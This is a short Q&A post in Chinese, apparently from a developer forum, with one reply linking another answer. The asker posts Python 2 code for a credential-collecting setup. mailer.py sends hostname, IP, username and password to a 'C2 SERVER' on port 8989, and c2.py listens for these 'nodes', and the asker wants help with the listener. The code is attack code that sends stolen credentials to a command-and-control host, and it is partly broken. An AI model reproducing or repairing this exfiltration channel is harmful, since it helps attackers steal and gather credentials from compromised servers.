0
我写这个的目的是发送在一台服务器上收集的数据发送到外部服务器。这个问题似乎与c2.py一样,因为mailer.py在发送数据时没有问题,但c2.py将只输出1个从唯一IP发送给它的消息。Python接收器不会接受每个客户端超过1条消息
mailer.py(将数据发送到c2.py坐在另一台服务器上)
C2 = "C2 SERVER"
C2PORT = 8989
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.settimeout(10)
def send(ip, usr, pw):
try:
try:
s.connect((C2, C2PORT))
s.send(socket.gethostname() + " ---> " + ip + " " + usr + " " + pw)
print "sent"
except socket.error, ex:
print ex
except KeyboardInterrupt:
s.close()
sys.close()
c2.py(侦听坐在另一台服务器上)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('',8989))
s.listen(10)
def nodeRecv():
while 1:
try:
conn, addr = s.accept()
conn.settimeout(10)
print conn.recv(65000)
conn.close()
print "1"
except socket.error, ex:
conn.close()
print ex
if __name__ == "__main__":
print "Connected to localhost:8989"
print "Listening for nodes..."
nodeRecv()
看看这个答案 - https://stackoverflow.com/questions/15958026/getting-errno-9-bad-file-descriptor-in-python-socket,应该解决你的困境。 – droravr